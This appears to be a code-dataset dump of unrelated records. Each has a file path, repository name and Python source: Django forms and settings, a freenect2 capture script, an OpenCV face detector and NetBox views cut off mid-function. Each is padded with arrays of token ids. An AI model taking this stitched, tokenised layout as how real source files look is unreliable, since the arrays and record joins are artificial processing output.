565,
313,
1761,
29918,
8977,
29961,
29875,
29962,
3366,
22795,
3097,
3108,
6736,
1051,
29918,
8977,
29961,
13318,
29962,
3366,
22795,
3097,
20068,
322,
313,
1761,
29918,
8977,
29961,
29875,
3816,
2841,
29962,
1275,
995,
1125,
13,
9651,
736,
474,
13,
13,
1678,
736,
29871,
29900,
13,
13,
13,
1753,
1423,
29918,
4882,
29898,
5080,
29901,
6120,
29892,
14074,
29901,
6120,
29892,
4660,
29901,
851,
29897,
1599,
313,
11227,
29892,
6120,
1125,
13,
1678,
9995,
13,
1678,
20894,
300,
316,
325,
1064,
3709,
454,
4660,
13,
1678,
584,
3207,
5401,
29901,
330,
4211,
29948,
313,
11918,
6120,
29948,
4584,
29897,
13,
1678,
584,
3207,
14074,
29901,
639,
700,
313,
11918,
6120,
29948,
4584,
29897,
13,
1678,
584,
3207,
4660,
29901,
2643,
1871,
25572,
5932,
424,
301,
29915,
2467,
1209,
1318,
13,
1678,
584,
2457,
29901,
13,
1678,
9995,
13,
1678,
565,
4660,
1275,
376,
26788,
1115,
13,
4706,
5401,
353,
5852,
13,
1678,
565,
4660,
1275,
376,
29968,
29949,
1115,
13,
4706,
5401,
353,
7700,
13,
4706,
14074,
353,
5852,
13,
1678,
565,
4660,
1275,
376,
19212,
1115,
13,
4706,
5401,
353,
7700,
13,
4706,
14074,
353,
5852,
13,
1678,
736,
5401,
29892,
14074,
13,
2
] |
feedback/forms.py | davidavi1/ecosystem1 | 0 | 41855 | from django import forms
from .models import FeedBackModel
class FeedBackForms(forms.ModelForm):
class Meta:
model = FeedBackModel
fields = ('name', 'last_name', 'subject', 'text')
| [
1,
515,
9557,
1053,
7190,
30004,
13,
3166,
869,
9794,
1053,
5169,
287,
5841,
3195,
30004,
13,
30004,
13,
30004,
13,
1990,
5169,
287,
5841,
12605,
29898,
9514,
29889,
3195,
2500,
1125,
30004,
13,
1678,
770,
20553,
29901,
30004,
13,
4706,
1904,
353,
5169,
287,
5841,
3195,
30004,
13,
4706,
4235,
353,
6702,
978,
742,
525,
4230,
29918,
978,
742,
525,
16009,
742,
525,
726,
1495,
30004,
13,
2
] |
examples/dump_big_depth.py | Banksorasit/freenect2-python | 21 | 189225 | <gh_stars>10-100
import json
from freenect2 import Device, FrameType
import numpy as np
def main():
device = Device()
frames = {}
with device.running():
for type_, frame in device:
frames[type_] = frame
if FrameType.Color in frames and FrameType.Depth in frames:
break
rgb, depth = frames[FrameType.Color], frames[FrameType.Depth]
undistorted, registered, big_depth = device.registration.apply(
rgb, depth, with_big_depth=True)
rgb.to_image().save('output_rgb.png')
big_depth.to_image().save('output_depth.tiff')
with open('output_calib.json', 'w') as fobj:
json.dump({
'color': dict(
(k, getattr(device.color_camera_params, k))
for k in 'fx fy cx cy'.split()),
'ir': dict(
(k, getattr(device.ir_camera_params, k))
for k in 'fx fy cx cy k1 k2 k3 p1 p2'.split()),
}, fobj)
if __name__ == '__main__':
main()
| [
1,
529,
12443,
29918,
303,
1503,
29958,
29896,
29900,
29899,
29896,
29900,
29900,
13,
5215,
4390,
13,
3166,
285,
2733,
522,
29906,
1053,
21830,
29892,
12218,
1542,
13,
5215,
12655,
408,
7442,
13,
13,
1753,
1667,
7295,
13,
1678,
4742,
353,
21830,
580,
13,
1678,
16608,
353,
6571,
13,
1678,
411,
4742,
29889,
21094,
7295,
13,
4706,
363,
1134,
3383,
3515,
297,
4742,
29901,
13,
9651,
16608,
29961,
1853,
29918,
29962,
353,
3515,
13,
9651,
565,
12218,
1542,
29889,
3306,
297,
16608,
322,
12218,
1542,
29889,
8498,
386,
297,
16608,
29901,
13,
18884,
2867,
13,
13,
1678,
15552,
29890,
29892,
10809,
353,
16608,
29961,
4308,
1542,
29889,
3306,
1402,
16608,
29961,
4308,
1542,
29889,
8498,
386,
29962,
13,
1678,
563,
391,
18054,
29892,
15443,
29892,
4802,
29918,
19488,
353,
4742,
29889,
1727,
8306,
29889,
7302,
29898,
13,
4706,
15552,
29890,
29892,
10809,
29892,
411,
29918,
3752,
29918,
19488,
29922,
5574,
29897,
13,
13,
1678,
15552,
29890,
29889,
517,
29918,
3027,
2141,
7620,
877,
4905,
29918,
23973,
29889,
2732,
1495,
13,
1678,
4802,
29918,
19488,
29889,
517,
29918,
3027,
2141,
7620,
877,
4905,
29918,
19488,
29889,
29873,
2593,
1495,
13,
13,
1678,
411,
1722,
877,
4905,
29918,
1052,
747,
29889,
3126,
742,
525,
29893,
1495,
408,
285,
5415,
29901,
13,
4706,
4390,
29889,
15070,
3319,
13,
9651,
525,
2780,
2396,
9657,
29898,
13,
18884,
313,
29895,
29892,
679,
5552,
29898,
10141,
29889,
2780,
29918,
26065,
29918,
7529,
29892,
413,
876,
13,
18884,
363,
413,
297,
525,
11093,
285,
29891,
28232,
5094,
4286,
5451,
25739,
13,
9651,
525,
381,
2396,
9657,
29898,
13,
18884,
313,
29895,
29892,
679,
5552,
29898,
10141,
29889,
381,
29918,
26065,
29918,
7529,
29892,
413,
876,
13,
18884,
363,
413,
297,
525,
11093,
285,
29891,
28232,
5094,
413,
29896,
413,
29906,
413,
29941,
282,
29896,
282,
29906,
4286,
5451,
25739,
13,
4706,
2981,
285,
5415,
29897,
13,
13,
361,
4770,
978,
1649,
1275,
525,
1649,
3396,
1649,
2396,
13,
1678,
1667,
580,
13,
2
] |
tests/settings.py | tanjibpa/django-coconut | 0 | 24852 | <reponame>tanjibpa/django-coconut<filename>tests/settings.py
# -*- coding: utf-8 -*-
#
# django-coconuts
# Copyright (c) 2008-2017, <NAME>
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are met:
#
# 1. Redistributions of source code must retain the above copyright notice,
# this list of conditions and the following disclaimer.
#
# 2. Redistributions in binary form must reproduce the above copyright
# notice, this list of conditions and the following disclaimer in the
# documentation and/or other materials provided with the distribution.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
# POSSIBILITY OF SUCH DAMAGE.
#
import getpass
import os
DEBUG = True
ADMINS = (
# ('Your Name', '<EMAIL>'),
)
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.sqlite3',
'NAME': '', # Or path to database file if using sqlite3.
}
}
# Hosts/domain names that are valid for this site; required if DEBUG is False
# See https://docs.djangoproject.com/en/1.4/ref/settings/#allowed-hosts
ALLOWED_HOSTS = []
# Local time zone for this installation. Choices can be found here:
# http://en.wikipedia.org/wiki/List_of_tz_zones_by_name
# although not all choices may be available on all operating systems.
# In a Windows environment this must be set to your system time zone.
TIME_ZONE = 'America/Chicago'
# Language code for this installation. All choices can be found here:
# http://www.i18nguy.com/unicode/language-identifiers.html
LANGUAGE_CODE = 'en-us'
# If you set this to False, Django will make some optimizations so as not
# to load the internationalization machinery.
USE_I18N = True
# If you set this to False, Django will not format dates, numbers and
# calendars according to the current locale.
USE_L10N = True
# If you set this to False, Django will not use timezone-aware datetimes.
USE_TZ = True
# Absolute path to the directory static files should be collected to.
# Don't put anything in this directory yourself; store your static files
# in apps' "static/" subdirectories and in STATICFILES_DIRS.
# Example: "/home/media/media.lawrence.com/static/"
STATIC_ROOT = ''
# URL prefix for static files.
# Example: "http://media.lawrence.com/static/"
STATIC_URL = '/static/'
# Make this unique, and don't share it with anybody.
SECRET_KEY = '<KEY>'
TEMPLATES = [
{
'BACKEND': 'django.template.backends.django.DjangoTemplates',
'DIRS': [
os.path.dirname(__file__) + '/../templates',
]
}
]
MIDDLEWARE_CLASSES = (
'django.middleware.common.CommonMiddleware',
'django.contrib.sessions.middleware.SessionMiddleware',
'django.middleware.csrf.CsrfViewMiddleware',
'django.contrib.auth.middleware.AuthenticationMiddleware',
'django.contrib.messages.middleware.MessageMiddleware',
# Uncomment the next line for simple clickjacking protection:
# 'django.middleware.clickjacking.XFrameOptionsMiddleware',
)
ROOT_URLCONF = 'tests.urls'
INSTALLED_APPS = (
'django.contrib.auth',
'django.contrib.contenttypes',
'django.contrib.sessions',
'django.contrib.messages',
'django.contrib.staticfiles',
'coconuts',
)
# FIXME: make this windows-friendly
tmp_dir = '/tmp/coconuts.test.%s' % getpass.getuser()
COCONUTS_CACHE_ROOT = os.path.join(tmp_dir, 'cache')
COCONUTS_DATA_ROOT = os.path.join(tmp_dir, 'data')
| [
1,
529,
276,
1112,
420,
29958,
13161,
29926,
747,
3274,
29914,
14095,
29899,
1111,
535,
329,
29966,
9507,
29958,
21150,
29914,
11027,
29889,
2272,
13,
29937,
448,
29930,
29899,
14137,
29901,
23616,
29899,
29947,
448,
29930,
29899,
13,
29937,
13,
29937,
9557,
29899,
1111,
535,
8842,
13,
29937,
14187,
1266,
313,
29883,
29897,
29871,
29906,
29900,
29900,
29947,
29899,
29906,
29900,
29896,
29955,
29892,
529,
5813,
29958,
13,
29937,
2178,
10462,
21676,
29889,
13,
29937,
13,
29937,
4367,
391,
3224,
322,
671,
297,
2752,
322,
7581,
7190,
29892,
411,
470,
1728,
13,
29937,
21733,
29892,
526,
21905,
4944,
393,
278,
1494,
5855,
526,
1539,
29901,
13,
29937,
13,
29937,
418,
29896,
29889,
4367,
391,
3224,
29879,
310,
2752,
775,
1818,
11551,
278,
2038,
3509,
1266,
8369,
29892,
13,
29937,
4706,
445,
1051,
310,
5855,
322,
278,
1494,
2313,
433,
4193,
29889,
13,
29937,
13,
29937,
418,
29906,
29889,
4367,
391,
3224,
29879,
297,
7581,
883,
1818,
18532,
278,
2038,
3509,
1266,
13,
29937,
4706,
8369,
29892,
445,
1051,
310,
5855,
322,
278,
1494,
2313,
433,
4193,
297,
278,
13,
29937,
4706,
5106,
322,
29914,
272,
916,
17279,
4944,
411,
278,
4978,
29889,
13,
29937,
13,
29937,
3446,
3235,
7791,
7818,
12982,
1525,
8519,
13756,
13044,
3352,
6770,
6093,
315,
4590,
29979,
22789,
3912,
379,
5607,
8032,
29903,
5300,
8707,
29911,
3960,
29933,
2692,
24125,
376,
3289,
8519,
29908,
13,
29937,
5300,
13764,
29979,
8528,
15094,
1799,
6323,
306,
3580,
5265,
3352,
399,
1718,
29934,
13566,
29059,
29892,
2672,
6154,
15789,
4214,
29892,
350,
2692,
6058,
27848,
3352,
7495,
29892,
6093,
13,
29937,
306,
3580,
5265,
3352,
399,
1718,
29934,
13566,
29059,
8079,
341,
1001,
3210,
13566,
2882,
6227,
11937,
5300,
383,
1806,
8186,
1799,
15842,
319,
349,
8322,
2965,
13309,
1718,
349,
4574,
13152,
1660,
13,
29937,
319,
1525,
28657,
13875,
8890,
29928,
29889,
2672,
11698,
382,
29963,
3919,
24972,
9818,
6093,
315,
4590,
29979,
22789,
3912,
438,
29956,
13865,
6323,
8707,
29911,
3960,
29933,
2692,
24125,
20700,
13,
29937,
17705,
6181,
15842,
13764,
29979,
22471,
26282,
29892,
2672,
4571,
26282,
29892,
2672,
29907,
1367,
3919,
1964,
29892,
317,
4162,
8426,
1964,
29892,
8528,
29923,
3580,
29931,
19926,
29892,
6323,
13,
29937,
8707,
1660,
13356,
3919,
25758,
21330,
1529,
1692,
29903,
313,
1177,
6154,
15789,
4214,
29892,
350,
2692,
6058,
27848,
3352,
7495,
29892,
13756,
29907,
11499,
13780,
8079,
13,
29937,
27092,
1254,
1806,
26027,
21947,
29949,
8452,
6323,
26996,
29963,
2965,
2890,
29936,
11247,
1799,
8079,
501,
1660,
29892,
360,
8254,
29892,
6323,
13756,
29943,
1806,
29903,
29936,
6323,
350,
3308,
8895,
1799,
13,
29937,
2672,
4945,
29934,
4897,
29911,
2725,
29897,
29832,
8851,
5348,
12766,
17171,
29928,
5300,
6732,
13764,
29979,
6093,
18929,
8079,
17705,
2882,
6227,
11937,
29892,
12317,
2544,
4448,
2672,
13,
29937,
8707,
29911,
4717,
1783,
29892,
6850,
3960,
1783,
17705,
2882,
6227,
11937,
29892,
6323,
323,
8476,
313,
1177,
6154,
15789,
4214,
405,
11787,
5265,
24647,
4741,
6323,
438,
29911,
4448,
22119,
1660,
29897,
13,
29937,
9033,
3235,
4214,
2672,
13764,
29979,
399,
29909,
29979,
19474,
8079,
6093,
501,
1660,
8079,
3446,
3235,
7791,
7818,
12982,
1525,
29892,
382,
29963,
1430,
10762,
11033,
18118,
1660,
29928,
8079,
6093,
13,
29937,
21521,
1799,
8979,
6227,
11937,
8079,
20134,
3210,
21330,
1529,
1692,
29889,
13,
29937,
13,
13,
5215,
679,
3364,
13,
5215,
2897,
13,
13,
18525,
353,
5852,
13,
13,
3035,
16173,
29903,
353,
313,
13,
1678,
396,
6702,
10858,
4408,
742,
12801,
26862,
6227,
29958,
5477,
13,
29897,
13,
13,
25832,
27982,
29903,
353,
426,
13,
1678,
525,
4381,
2396,
426,
13,
4706,
525,
1430,
29954,
8895,
2396,
525,
14095,
29889,
2585,
29889,
1627,
1975,
29889,
22793,
29941,
742,
13,
4706,
525,
5813,
2396,
15516,
462,
418,
396,
1394,
2224,
304,
2566,
934,
565,
773,
21120,
29941,
29889,
13,
1678,
500,
13,
29913,
13,
13,
29937,
16956,
29879,
29914,
7247,
2983,
393,
526,
2854,
363,
445,
3268,
29936,
3734,
565,
21681,
338,
7700,
13,
29937,
2823,
2045,
597,
2640,
29889,
19776,
574,
26555,
622,
29889,
510,
29914,
264,
29914,
29896,
29889,
29946,
29914,
999,
29914,
11027,
8484,
24622,
29899,
23525,
13,
1964,
27998,
3352,
29918,
20832,
29903,
353,
5159,
13,
13,
29937,
9959,
931,
10640,
363,
445,
11161,
29889,
14542,
1575,
508,
367,
1476,
1244,
29901,
13,
29937,
1732,
597,
264,
29889,
6011,
29889,
990,
29914,
4594,
29914,
1293,
29918,
974,
29918,
17559,
29918,
29920,
2873,
29918,
1609,
29918,
978,
13,
29937,
5998,
451,
599,
19995,
1122,
367,
3625,
373,
599,
13598,
6757,
29889,
13,
29937,
512,
263,
3852,
5177,
445,
1818,
367,
731,
304,
596,
1788,
931,
10640,
29889,
13,
15307,
29918,
29999,
12413,
353,
525,
29048,
29914,
1451,
9384,
29915,
13,
13,
29937,
17088,
775,
363,
445,
11161,
29889,
2178,
19995,
508,
367,
1476,
1244,
29901,
13,
29937,
1732,
597,
1636,
29889,
29875,
29896,
29947,
865,
8631,
29889,
510,
29914,
2523,
356,
29914,
11675,
29899,
1693,
14903,
29889,
1420,
13,
29931,
19453,
29965,
10461,
29918,
16524,
353,
525,
264,
29899,
375,
29915,
13,
13,
29937,
960,
366,
731,
445,
304,
7700,
29892,
15337,
674,
1207,
777,
5994,
17063,
577,
408,
451,
13,
29937,
304,
2254,
278,
6121,
2133,
7672,
262,
708,
29889,
13,
17171,
29918,
29902,
29896,
29947,
29940,
353,
5852,
13,
13,
29937,
960,
366,
731,
445,
304,
7700,
29892,
15337,
674,
451,
3402,
10116,
29892,
3694,
322,
13,
29937,
1208,
355,
1503,
5034,
304,
278,
1857,
15068,
29889,
13,
17171,
29918,
29931,
29896,
29900,
29940,
353,
5852,
13,
13,
29937,
960,
366,
731,
445,
304,
7700,
29892,
15337,
674,
451,
671,
29431,
29899,
28327,
1418,
300,
1355,
29889,
13,
17171,
29918,
29911,
29999,
353,
5852,
13,
13,
29937,
1976,
14977,
2224,
304,
278,
3884,
2294,
2066,
881,
367,
16531,
304,
29889,
13,
29937,
3872,
29915,
29873,
1925,
3099,
297,
445,
3884,
7535,
29936,
3787,
596,
2294,
2066,
13,
29937,
297,
11446,
29915,
376,
7959,
12975,
1014,
11851,
3842,
322,
297,
6850,
1299,
2965,
24483,
29918,
9464,
29903,
29889,
13,
29937,
8741,
29901,
5591,
5184,
29914,
9799,
29914,
9799,
29889,
10653,
17540,
29889,
510,
29914,
7959,
12975,
13,
17816,
2965,
29918,
21289,
353,
6629,
13,
13,
29937,
3988,
10944,
363,
2294,
2066,
29889,
13,
29937,
8741,
29901,
376,
1124,
597,
9799,
29889,
10653,
17540,
29889,
510,
29914,
7959,
12975,
13,
17816,
2965,
29918,
4219,
353,
8207,
7959,
22208,
13,
13,
29937,
8561,
445,
5412,
29892,
322,
1016,
29915,
29873,
6232,
372,
411,
16357,
29889,
13,
1660,
22245,
29911,
29918,
10818,
353,
12801,
10818,
16299,
13,
13,
4330,
3580,
29931,
1299,
2890,
353,
518,
13,
1678,
426,
13,
4706,
525,
29933,
11375,
11794,
2396,
525,
14095,
29889,
6886,
29889,
1627,
1975,
29889,
14095,
29889,
29928,
5364,
5776,
9884,
742,
13,
4706,
525,
9464,
29903,
2396,
518,
13,
9651,
2897,
29889,
2084,
29889,
25721,
22168,
1445,
1649,
29897,
718,
8207,
6995,
20943,
742,
13,
4706,
4514,
13,
1678,
500,
13,
29962,
13,
13,
29924,
1367,
29928,
1307,
12982,
1525,
29918,
6154,
3289,
1660,
29903,
353,
313,
13,
1678,
525,
14095,
29889,
17662,
2519,
29889,
9435,
29889,
18877,
25411,
2519,
742,
13,
1678,
525,
14095,
29889,
21570,
29889,
29879,
10964,
29889,
17662,
2519,
29889,
7317,
25411,
2519,
742,
13,
1678,
525,
14095,
29889,
17662,
2519,
29889,
2395,
9600,
29889,
29907,
29879,
9600,
1043,
25411,
2519,
742,
13,
1678,
525,
14095,
29889,
21570,
29889,
5150,
29889,
17662,
2519,
29889,
16746,
25411,
2519,
742,
13,
1678,
525,
14095,
29889,
21570,
29889,
19158,
29889,
17662,
2519,
29889,
3728,
25411,
2519,
742,
13,
1678,
396,
853,
9342,
278,
2446,
1196,
363,
2560,
2828,
21452,
292,
13047,
29901,
13,
1678,
396,
525,
14095,
29889,
17662,
2519,
29889,
3808,
21452,
292,
29889,
29990,
4308,
5856,
25411,
2519,
742,
13,
29897,
13,
13,
21289,
29918,
4219,
6007,
29943,
353,
525,
21150,
29889,
26045,
29915,
13,
13,
25580,
1964,
20566,
29918,
3301,
7024,
353,
313,
13,
1678,
525,
14095,
29889,
21570,
29889,
5150,
742,
13,
1678,
525,
14095,
29889,
21570,
29889,
3051,
8768,
742,
13,
1678,
525,
14095,
29889,
21570,
29889,
29879,
10964,
742,
13,
1678,
525,
14095,
29889,
21570,
29889,
19158,
742,
13,
1678,
525,
14095,
29889,
21570,
29889,
7959,
5325,
742,
13,
1678,
525,
1111,
535,
8842,
742,
13,
29897,
13,
13,
29937,
383,
6415,
2303,
29901,
1207,
445,
5417,
29899,
18326,
368,
13,
7050,
29918,
3972,
353,
8207,
7050,
29914,
1111,
535,
8842,
29889,
1688,
29889,
29995,
29879,
29915,
1273,
679,
3364,
29889,
657,
1792,
580,
13,
3217,
6007,
2692,
29903,
29918,
29907,
2477,
9606,
29918,
21289,
353,
2897,
29889,
2084,
29889,
7122,
29898,
7050,
29918,
3972,
29892,
525,
8173,
1495,
13,
3217,
6007,
2692,
29903,
29918,
14573,
29918,
21289,
353,
2897,
29889,
2084,
29889,
7122,
29898,
7050,
29918,
3972,
29892,
525,
1272,
1495,
13,
2
] |
14 OpenCV/stuff/detect.py | barjacks/algorithms_mine | 0 | 117115 | import numpy as np
import cv2
face_cascade = cv2.CascadeClassifier('haarcascade_frontalface_default.xml')
filename = "obama.jpg"
# Show the original image
img = cv2.imread(filename)
# Convert to grayscale, show it
gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)
faces = face_cascade.detectMultiScale(gray, 1.3, 5)
for (x,y,w,h) in faces:
print('found a face')
cv2.destroyAllWindows() | [
1,
1053,
12655,
408,
7442,
13,
5215,
13850,
29906,
13,
13,
2161,
29918,
9398,
6332,
353,
13850,
29906,
29889,
29907,
294,
6332,
2385,
3709,
877,
2350,
5666,
294,
6332,
29918,
8862,
284,
2161,
29918,
4381,
29889,
3134,
1495,
13,
13,
9507,
353,
376,
711,
3304,
29889,
6173,
29908,
13,
13,
29937,
7704,
278,
2441,
1967,
13,
2492,
353,
13850,
29906,
29889,
326,
949,
29898,
9507,
29897,
13,
13,
29937,
14806,
304,
16749,
7052,
29892,
1510,
372,
13,
21012,
353,
13850,
29906,
29889,
11023,
29873,
3306,
29898,
2492,
29892,
13850,
29906,
29889,
15032,
1955,
29918,
29933,
14345,
29906,
29954,
22800,
29897,
13,
13,
8726,
353,
3700,
29918,
9398,
6332,
29889,
4801,
522,
15329,
17185,
29898,
21012,
29892,
29871,
29896,
29889,
29941,
29892,
29871,
29945,
29897,
13,
1454,
313,
29916,
29892,
29891,
29892,
29893,
29892,
29882,
29897,
297,
17240,
29901,
13,
12,
2158,
877,
11940,
263,
3700,
1495,
13,
13,
11023,
29906,
29889,
20524,
3596,
7685,
580,
2
] |
netbox/virtualization/views.py | jtague87/netbox | 2 | 100519 | from django.contrib import messages
from django.db import transaction
from django.db.models import Count, Prefetch
from django.shortcuts import get_object_or_404, redirect, render
from django.urls import reverse
from dcim.models import Device
from dcim.tables import DeviceTable
from extras.views import ObjectConfigContextView
from ipam.models import IPAddress, Service
from ipam.tables import InterfaceIPAddressTable, InterfaceVLANTable
from utilities.utils import get_subquery
from utilities.views import (
BulkComponentCreateView, BulkDeleteView, BulkEditView, BulkImportView, BulkRenameView, ComponentCreateView,
ObjectView, ObjectDeleteView, ObjectEditView, ObjectListView,
)
from . import filters, forms, tables
from .models import Cluster, ClusterGroup, ClusterType, VirtualMachine, VMInterface
#
# Cluster types
#
class ClusterTypeListView(ObjectListView):
queryset = ClusterType.objects.annotate(cluster_count=Count('clusters')).order_by(*ClusterType._meta.ordering)
table = tables.ClusterTypeTable
class ClusterTypeEditView(ObjectEditView):
queryset = ClusterType.objects.all()
model_form = forms.ClusterTypeForm
class ClusterTypeDeleteView(ObjectDeleteView):
queryset = ClusterType.objects.all()
class ClusterTypeBulkImportView(BulkImportView):
queryset = ClusterType.objects.all()
model_form = forms.ClusterTypeCSVForm
table = tables.ClusterTypeTable
class ClusterTypeBulkDeleteView(BulkDeleteView):
queryset = ClusterType.objects.annotate(cluster_count=Count('clusters')).order_by(*ClusterType._meta.ordering)
table = tables.ClusterTypeTable
#
# Cluster groups
#
class ClusterGroupListView(ObjectListView):
queryset = ClusterGroup.objects.annotate(cluster_count=Count('clusters')).order_by(*ClusterGroup._meta.ordering)
table = tables.ClusterGroupTable
class ClusterGroupEditView(ObjectEditView):
queryset = ClusterGroup.objects.all()
model_form = forms.ClusterGroupForm
class ClusterGroupDeleteView(ObjectDeleteView):
queryset = ClusterGroup.objects.all()
class ClusterGroupBulkImportView(BulkImportView):
queryset = ClusterGroup.objects.all()
model_form = forms.ClusterGroupCSVForm
table = tables.ClusterGroupTable
class ClusterGroupBulkDeleteView(BulkDeleteView):
queryset = ClusterGroup.objects.annotate(cluster_count=Count('clusters')).order_by(*ClusterGroup._meta.ordering)
table = tables.ClusterGroupTable
#
# Clusters
#
class ClusterListView(ObjectListView):
permission_required = 'virtualization.view_cluster'
queryset = Cluster.objects.prefetch_related('type', 'group', 'site', 'tenant').annotate(
device_count=get_subquery(Device, 'cluster'),
vm_count=get_subquery(VirtualMachine, 'cluster')
)
table = tables.ClusterTable
filterset = filters.ClusterFilterSet
filterset_form = forms.ClusterFilterForm
class ClusterView(ObjectView):
queryset = Cluster.objects.all()
def get(self, request, pk):
self.queryset = self.queryset.prefetch_related(
Prefetch('virtual_machines', queryset=VirtualMachine.objects.restrict(request.user))
)
cluster = get_object_or_404(self.queryset, pk=pk)
devices = Device.objects.restrict(request.user, 'view').filter(cluster=cluster).prefetch_related(
'site', 'rack', 'tenant', 'device_type__manufacturer'
)
device_table = DeviceTable(list(devices), orderable=False)
if request.user.has_perm('virtualization.change_cluster'):
device_table.columns.show('pk')
return render(request, 'virtualization/cluster.html', {
'cluster': cluster,
'device_table': device_table,
})
class ClusterEditView(ObjectEditView):
template_name = 'virtualization/cluster_edit.html'
queryset = Cluster.objects.all()
model_form = forms.ClusterForm
class ClusterDeleteView(ObjectDeleteView):
queryset = Cluster.objects.all()
class ClusterBulkImportView(BulkImportView):
queryset = Cluster.objects.all()
model_form = forms.ClusterCSVForm
table = tables.ClusterTable
class ClusterBulkEditView(BulkEditView):
queryset = Cluster.objects.prefetch_related('type', 'group', 'site')
filterset = filters.ClusterFilterSet
table = tables.ClusterTable
form = forms.ClusterBulkEditForm
class ClusterBulkDeleteView(BulkDeleteView):
queryset = Cluster.objects.prefetch_related('type', 'group', 'site')
filterset = filters.ClusterFilterSet
table = tables.ClusterTable
class ClusterAddDevicesView(ObjectEditView):
queryset = Cluster.objects.all()
form = forms.ClusterAddDevicesForm
template_name = 'virtualization/cluster_add_devices.html'
def get(self, request, pk):
cluster = get_object_or_404(self.queryset, pk=pk)
form = self.form(cluster, initial=request.GET)
return render(request, self.template_name, {
'cluster': cluster,
'form': form,
'return_url': reverse('virtualization:cluster', kwargs={'pk': pk}),
})
def post(self, request, pk):
cluster = get_object_or_404(self.queryset, pk=pk)
form = self.form(cluster, request.POST)
if form.is_valid():
device_pks = form.cleaned_data['devices']
with transaction.atomic():
# Assign the selected Devices to the Cluster
for device in Device.objects.filter(pk__in=device_pks):
device.cluster = cluster
device.save()
messages.success(request, "Added {} devices to cluster {}".format(
len(device_pks), cluster
))
return redirect(cluster.get_absolute_url())
return render(request, self.template_name, {
'cluster': cluster,
'form': form,
'return_url': cluster.get_absolute_url(),
})
class ClusterRemoveDevicesView(ObjectEditView):
queryset = Cluster.objects.all()
form = forms.ClusterRemoveDevicesForm
template_name = 'utilities/obj_bulk_remove.html'
def post(self, request, pk):
cluster = get_object_or_404(self.queryset, pk=pk)
if '_confirm' in request.POST:
form = self.form(request.POST)
if form.is_valid():
device_pks = form.cleaned_data['pk']
with transaction.atomic():
# Remove the selected Devices from the Cluster
for device in Device.objects.filter(pk__in=device_pks):
device.cluster = None
device.save()
messages.success(request, "Removed {} devices from cluster {}".format(
len(device_pks), cluster
))
return redirect(cluster.get_absolute_url())
else:
form = self.form(initial={'pk': request.POST.getlist('pk')})
selected_objects = Device.objects.filter(pk__in=form.initial['pk'])
device_table = DeviceTable(list(selected_objects), orderable=False)
return render(request, self.template_name, {
'form': form,
'parent_obj': cluster,
'table': device_table,
'obj_type_plural': 'devices',
'return_url': cluster.get_absolute_url(),
})
#
# Virtual machines
#
class VirtualMachineListView(ObjectListView):
queryset = VirtualMachine.objects.prefetch_related('cluster', 'tenant', 'role', 'primary_ip4', 'primary_ip6')
filterset = filters.VirtualMachineFilterSet
filterset_form = forms.VirtualMachineFilterForm
table = tables.VirtualMachineDetailTable
template_name = 'virtualization/virtualmachine_list.html'
class VirtualMachineView(ObjectView):
queryset = VirtualMachine.objects.prefetch_related('tenant__group')
def get(self, request, pk):
virtualmachine = get_object_or_404(self.queryset, pk=pk)
interfaces = VMInterface.objects.restrict(request.user, 'view').filter(
virtual_machine=virtualmachine
).prefetch_related(
Prefetch('ip_addresses', queryset=IPAddress.objects.restrict(request.user))
)
services = Service.objects.restrict(request.user, 'view').filter(
virtual_machine=virtualmachine
).prefetch_related(
Prefetch('ipaddresses', queryset=IPAddress.objects.restrict(request.user))
)
return render(request, 'virtualization/virtualmachine.html', {
'virtualmachine': virtualmachine,
'interfaces': interfaces,
'services': services,
})
class VirtualMachineConfigContextView(ObjectConfigContextView):
queryset = VirtualMachine.objects.annotate_config_context_data()
base_template = 'virtualization/virtualmachine.html'
class VirtualMachineEditView(ObjectEditView):
queryset = VirtualMachine.objects.all()
model_form = forms.VirtualMachineForm
template_name = 'virtualization/virtualmachine_edit.html'
class VirtualMachineDeleteView(ObjectDeleteView):
queryset = VirtualMachine.objects.all()
class VirtualMachineBulkImportView(BulkImportView):
queryset = VirtualMachine.objects.all()
model_form = forms.VirtualMachineCSVForm
table = tables.VirtualMachineTable
class VirtualMachineBulkEditView(BulkEditView):
queryset = VirtualMachine.objects.prefetch_related('cluster', 'tenant', 'role')
filterset = filters.VirtualMachineFilterSet
table = tables.VirtualMachineTable
form = forms.VirtualMachineBulkEditForm
class VirtualMachineBulkDeleteView(BulkDeleteView):
queryset = VirtualMachine.objects.prefetch_related('cluster', 'tenant', 'role')
filterset = filters.VirtualMachineFilterSet
table = tables.VirtualMachineTable
#
# VM interfaces
#
class VMInterfaceListView(ObjectListView):
queryset = VMInterface.objects.prefetch_related('virtual_machine')
filterset = filters.VMInterfaceFilterSet
filterset_form = forms.VMInterfaceFilterForm
table = tables.VMInterfaceTable
action_buttons = ('export',)
class VMInterfaceView(ObjectView):
queryset = VMInterface.objects.all()
def get(self, request, pk):
vminterface = get_object_or_404(self.queryset, pk=pk)
# Get assigned IP addresses
ipaddress_table = InterfaceIPAddressTable(
data=vminterface.ip_addresses.restrict(request.user, 'view').prefetch_related('vrf', 'tenant'),
orderable=False
)
# Get assigned VLANs and annotate whether each is tagged or untagged
vlans = []
if vminterface.untagged_vlan is not None:
vlans.append(vminterface.untagged_vlan)
vlans[0].tagged = False
for vlan in vminterface.tagged_vlans.restrict(request.user).prefetch_related('site', 'group', 'tenant', 'role'):
vlan.tagged = True
vlans.append(vlan)
